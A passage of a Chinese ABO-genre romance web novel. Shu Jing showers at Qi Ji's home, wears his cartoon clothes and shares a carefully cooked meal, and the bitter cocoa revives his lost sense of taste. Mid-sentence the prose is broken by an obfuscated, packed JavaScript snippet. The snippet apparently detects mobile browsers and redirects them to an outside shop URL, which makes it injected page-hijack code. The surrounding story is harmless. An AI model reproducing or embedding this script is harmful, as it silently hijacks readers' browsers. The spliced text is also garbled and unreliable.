“要是再说这么见外的话,我可要生气了。” 殊景认真道:“那等吃完饭,我来洗碗。” “我能说不行吗?当然是哥哥说了算。” 祈继摊手,像哄一只非要跟着他的小尾巴,被缠得紧了也舍不得怎样,只能惯着。 殊景挤好牙膏,刷出一点泡沫。 镜子明亮,可以看出屋主人平时生活的痕迹,物品不多,洗手台角落那瓶开封的染发剂就有些惹眼。 应该是用过不久,盖子没拧紧,露出里面浅棕色的膏体。 殊景视线飘向门口。 祈继还没走,正倚在那边看他,察觉他目光的落点,身体不自觉站直,抬手捋了捋头发,半遮住眉眼。 “染发膏吗?造型师说我适合这个颜色,哥哥看呢?” 声音有点紧,像青春期第一次理发的少年,在等那个最想要的评价。 其实初次见面,殊景就有注意到祈继的发色,和瞳色、肤色很搭,都是暖调,澄澈明亮。 是挺阳光的。 殊景含着牙刷,对镜子里的青年点了点头,并没听见那一声很轻的“你喜欢就好”。 他只觉得不光外貌,包括这房子的一切,从床单到沙发巾,从外衣到家居服,都是明快的颜色,大部分还印着花花草草、小猫小狗的图案。 要不是认识祈继本人,殊景都会觉得,这简直像专为某个电视角色打造的布景。 太全面、太细节,反而有点刻意。 祈继看来确实很喜欢这些元素,满室鲜亮,殊景想起自己那些一成不变的家居,确实少点生气。 以后或许可以在祈继的影响下,添些更活泼的东西。 不过,到底是在怎样的家庭环境里长大的男生,才会连浴巾都是卡通的? 殊景有些哭笑不得。 他用毛巾擦干身体,拿起凳子上的衣物,最上面是一条内裤,浅蓝色印着小狗。 展开来,前方区域小狗脑袋的位置,那个“口袋”,明显宽裕。 殊景:…… 思绪在脑中,打了个结。 “哥哥,衣服能穿吗?” 门外传来询问,如初升朝阳的男声,和那张少年感十足的脸,以及手中这条布料的花色都对得上,就是尺码,不太能对得上。 这么干净纯粹、笑起来像邻家弟弟的Beta男生…… 殊景耳根莫名发热。 他在想什么?虽然有科学统计数据,但也没谁规定,只有Alpha才能有那种尺寸。 祈继二十岁,是成年人了,个子还那么高,不奇怪。 是他过早武断地把对方定位在初印象上了。 “能穿。” 殊景回答,就是腰身有点往下掉,但穿在里面不太打紧。 他迅速套好衣服,汲上拖鞋走出浴室。 抽油烟机的声音已经停了,厨房里,祈继正弯着腰,拿糖度计测试两杯热可可的甜度,听到脚步声抬眼,动作明显顿了一下。 他的衣服对殊景来说确实太大,袖子长一截,不得不边走边往上挽,裤腿盖住脚背,拖鞋露着脚趾,指甲圆润如珠贝,刚冒出一点月牙。 寻常人的视力当然看不到这么细,但祈继可以。 “好香。”殊景被可可味吸引,完全没发现自己套着这身卡通家居服,在某人眼里,已经成了一只被装进软蓬蓬麻袋、远比可可还要香甜百倍的兔子玩偶。 祈继突然放下手头的东西,跑出厨房。 在门框还磕了一下,慌不择路。 殊景:? 很快拖鞋的声音哒哒回来,然后殊景整个脑袋被罩住。 “没吹干,会着凉的。” 祈继大手隔着毛巾,揉搓殊景的头发,水珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409794|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚落,在家居服肩膀晕开浅浅的圆斑。 见祈继还要拿吹风机帮他,殊景忙道,“我自己吹。” 热风在交到他手里前,把他肩头的水渍带了一下,那点圆斑很快消散,衣服重又变得干爽。 祈继拿手背偷抹了把鼻子,确保没再有不明液体流出来。 太逊了。 原来看喜欢的人穿自己的衣服,这么刺激。 祈继低眉垂眼,默默摆弄糖度计。 刚打出来的热可可表面浮着细密奶泡,殊景还是第一次看他用这种工具。 “哥哥喜欢前味偏苦的可可,先前的豆子没货了,这批产地不同,苦感层次可能不一样,怕你会不喜欢…” “其实也没那么讲究。” 对于这句祈继只是笑笑,不置可否。 餐桌上,四菜一汤,除了两道小炒做得家常,那道煲了很久的玉米藕汤和糖醋排骨都明显费心,盘子边缘甚至配有两朵萝卜雕花。 最后端上来的,是那两杯可可。 “饭后甜点。” 祈继颇有仪式感地配上瓷杯与银勺,同样有摆盘,杯沿两侧各点缀草莓和猕猴桃切片,红绿相间,煞是好看。 殊景真没想到,祈继除了甜品,还有这样的厨艺,可惜他味觉退化,吃东西从来只为果腹。 祈继要是知道,一定会失望的吧。 “有点太多了,我们只有两个人…” “还好吧,不多,”祈继看着殊景,表情忐忑,“其实我是第一次给人做饭,所以才弄了点花里胡哨的东西,这样就算失败了,勉强还可以挽尊一下。” 不知是否错觉,今天的祈继似乎有些不自信。 而那句“第一次给人做饭”,更让殊景心里仿佛被戳了个小洞。 从未有过的想法,就此浮现。 之前吃可可熔岩,都是晚饭后、下班途中,对于唯一能刺激味觉的这种食品,殊景有过惊讶、疑惑,却并没想探究或延伸。 他其实认命了,超感症影响味觉,更消耗他的生命。 生存是必需品,味觉则和爱一样,是奢侈品。 可此刻,看着满桌菜肴,看着对面那双满含期待的眼睛,殊景发自内心想尝一尝。 “饭后甜点…是不是不能现在吃?” ——先吃饭。 如果是前任,一定会这样简短命令。 可祈继却将杯碟推至他面前,“只要哥哥想,什么时候吃、吃多少,都可以。” 被无条件溺爱的一方,总有随心所欲的底气。 深邃醇厚的苦涩,与可可特有的芳香交融,最后在喉间化作浓郁绵长。 殊景夹起一块排骨,舌尖最早接触到,感觉就已经很不一样了,酱汁咸甜、芝麻焦香,滋味层次分明,在麻木的味蕾上跳跃。 接二连三,应接不暇,像小簇烟花争先恐后炸开。 殊景快速眨了眨眼,“…好吃!” 在确诊超感症前,他对食物味道的分辨就不算灵敏,从小属于吃什么都差不多的类型,但即便如此,有些东西始终是不一样的。 殊景的妈妈绝不是世俗意义上的贤妻良母,但别人都说,她很会做菜。 “真的很好吃。”殊景夸赞,又夹起一块放在祈继碗里,“你自己尝过吗?” 祈继眼睛正眨也不眨地盯着他,这才回神,看见碗里那块排骨,笑逐颜开,两个酒窝深陷,很长时间都挂在脸上。 殊景也被那份欢喜感染。 气和味,原本就该是一体,“嗅”这个字,也有“口”的参与。 就连信息素,都是通过咬腺体才能交换。 可殊景对“气”敏感,对“味”迟钝,偏偏是苦可可,成为填补这份缺憾的纽带。 就像天生契合,命中注定。 “其实,Alpha和Omega有信息素,Beta也有,我妈妈说的。” 殊景的母亲是植物学家,能分辨上万种植物的气味。 她说,每一个Beta都有自己独特的信息素,就藏在植物世界里,能带来愉悦与满足,这世上总有人与它们相合,如同命定一般。 所以祈继……是他的命定吗? 殊景眸光轻动,忽然微微一笑:“我觉得,你的信息素味道…应该就是苦可可吧。”